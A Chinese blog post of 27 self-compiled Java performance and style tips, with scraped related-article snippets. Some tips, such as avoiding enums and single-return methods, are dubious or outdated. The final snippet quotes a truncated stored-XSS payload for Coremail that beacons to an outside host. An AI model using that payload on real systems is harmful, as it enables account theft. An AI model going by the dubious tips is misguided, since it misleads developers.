java简单优化和编写规范,自己总结的。
1.永远不要比较两个浮点数是否相等。它是不安全的。详情google。
2.尽量使用StringBuffer代替String。
3.final类会提高很多效率。
4.try-catch 不应该用来控制程序逻辑,只能用于错误处理。
5.保证方法只有一个出口,即一个method只有一个return。
6.尽量用局部变量。
7.循环和try-catch同时使用时,不可以把try-catch放在for或者while的内部,应该放在循环的外部。
8.压缩需要传输的数据。必要的做加密。
9.耗时操作一定要使用线程。较多生命周期较短的线程应该使用线程池提高效率。
10.不要为了方便使用static,要理解static在面向对象语言中的意义。
11.提供工具方法时一定考虑传入参数的合法性判断。多线程一定要考虑同步。Synchronized不要放在循环里。
12.不要手动gc。
13.占用内存较大的对象如图片对象应该及时的置null,让jvm的gc回收他。
14.适当的使用若引用和软引用,虽然用到的不多。
15.方法尽量拆分成多个,功能细化,方便重用。
16.尽量使用基本数据类型代替对象。
17.乘除操纵可以考虑用位运算。
18.不要把数组声明为public static final ,数组的final并不能控制数组内容不变。
19.使用 int size = vector.size () for (int i = 0; i < size; i++)代替for (int i = 0; i < vector.size (); i++) ,后者会计算很多次vector.size()
20.适当给出vector的大小比如new Vector(100);
21.尽量不要使用数组的clone方法,可以用System.arraycopy来代替,也更灵活一些。用for循环复制的去面壁吧。
22.合理设计减少集合的遍历次数。
23.没有多线程不要使用Hashtable和Vector。应该使用HashMap和ArrayList.
24.适当使用缓存。
25. 避免或减少枚举,浮点数的使用。
26.int相乘考虑溢出情况。如算一天有多少微秒应该用long microsPerDay = 24L * 60 * 60 * 1000 * 1000;
27.二维数组比一位数组占用空间多很多。
欢迎讨论和指正。不定期更新。
java简单优化和编写规范,自己总结的。的更多相关文章
- java编写规范及注意事项
java编写规范及注意事项 1.注释 常见注释有三种 // /**/ /****/ 如何才能写出漂亮的注释呢,注释的目的就是为了使你的代码让人更容易理解和维护,写一手好的注释是一个优秀码农的基本 ...
- Java学习---Java代码编写规范
编码规范 1 前言为确保系统源程序可读性,从而增强系统可维护性,java编程人员应具有基本类似的编程风格,兹制定下述Java编程规范,以规范系统Java部分编程.系统继承的其它资源中的源程序也应按此规 ...
- java编写规范
编码规范 转载于:https://www.cnblogs.com/ftl1012/p/javaCode.html 1 前言为确保系统源程序可读性,从而增强系统可维护性,java编程人员应具有基本类似的 ...
- Java代码编写规范(转载)
编码规范 1 前言为确保系统源程序可读性,从而增强系统可维护性,java编程人员应具有基本类似的编程风格,兹制定下述Java编程规范,以规范系统Java部分编程.系统继承的其它资源中的源程序也应按此规 ...
- 【转】10种简单的Java性能优化
10种简单的Java性能优化 2015/06/23 | 分类: 基础技术 | 14 条评论 | 标签: 性能优化 分享到: 本文由 ImportNew - 一直在路上 翻译自 jaxenter.欢迎加 ...
- 《Java性能优化权威指南》
<Java性能优化权威指南> 基本信息 原书名:Java performance 原出版社: Addison-Wesley Professional 作者: (美)Charlie Hunt ...
- Java 性能优化手册 — 提高 Java 代码性能的各种技巧
转载: Java 性能优化手册 - 提高 Java 代码性能的各种技巧 Java 6,7,8 中的 String.intern - 字符串池 这篇文章将要讨论 Java 6 中是如何实现 String ...
- Java 程序优化 (读书笔记)
--From : JAVA程序性能优化 (葛一鸣,清华大学出版社,2012/10第一版) 1. java性能调优概述 1.1 性能概述 程序性能: 执行速度,内存分配,启动时间, 负载承受能力. 性能 ...
- Java 性能优化之 String 篇
原文:http://www.ibm.com/developerworks/cn/java/j-lo-optmizestring/ Java 性能优化之 String 篇 String 方法用于文本分析 ...
随机推荐
- BZOJ1103 [POI2007]大都市meg(DFS序)
题目:一颗树,单边修改,链上查询..实际上链是根到结点的链.网上好像有其他做法,我的想法是这样的: 先不看修改,毫无疑问查询只是查询结点的深度:而修改一条边会有什么影响:影响是且只是以边上深度最深结点 ...
- 在visual studio中使用git版本系统(zz)
第一部分: 安装 git 开发工具 如果要使用 git 进行版本管理,其实使用 git 命令行工具就完全足够了,图形化工具(无论是 git extentions ,还是TortoiseGit),都只不 ...
- BZOJ2051 : A Problem For Fun
树的点分治,将点分治的过程记录下来,每一个分治结构按到分治中心的距离维护所有点. 对于一个点二分答案,然后在$O(\log n)$个分治结构中二分查找,时间复杂度$O(n\log^3n)$. #inc ...
- [Unity2D]GameObject游戏对象的灵活运用
Unity2D的游戏可以说是由一堆GameObject构成的,GameObject的使用非常灵活,不仅仅是给单个精灵使用,你可以发挥你一切的想象力来利用它来解决一些实际上的问题.比如: 1.给一个精灵 ...
- 【BZOJ】1066: [SCOI2007]蜥蜴(最大流)
http://www.lydsy.com/JudgeOnline/problem.php?id=1066 本题想一想应该懂了的. 我们想啊,,每个点都有限制,每个点都可以跳到另一个有限制的点,每个有蜥 ...
- POJ 1724 ROADS(二维SPFA)
题目链接 用STL实现超时了,用普通队列500+,看到spfa,反应太迟钝了. #include <cstring> #include <cstdio> #include &l ...
- 清除 WD MyCloud 自动生成的 .wdmc 目录
1. 先 SSH,停止相应服务 /etc/init.d/wdmcserverd stop/etc/init.d/wdphotodbmergerd stop 2. 禁止服务自启动 update-rc.d ...
- 什么是SQL注入式攻击
什么是SQL注入式攻击? 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.在某些表单中,用户输入的内容直接用来构造(或者影响 ...
- Struts2_ValueStack,OGNL详解
一.ValueStack 1.ValueStack是一个接口,在struts2中使用OGNL(Object-Graph Navigation Language)表达式实际上是使用实现了Value ...
- Coremail邮件系统存储型XSS两个
(1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...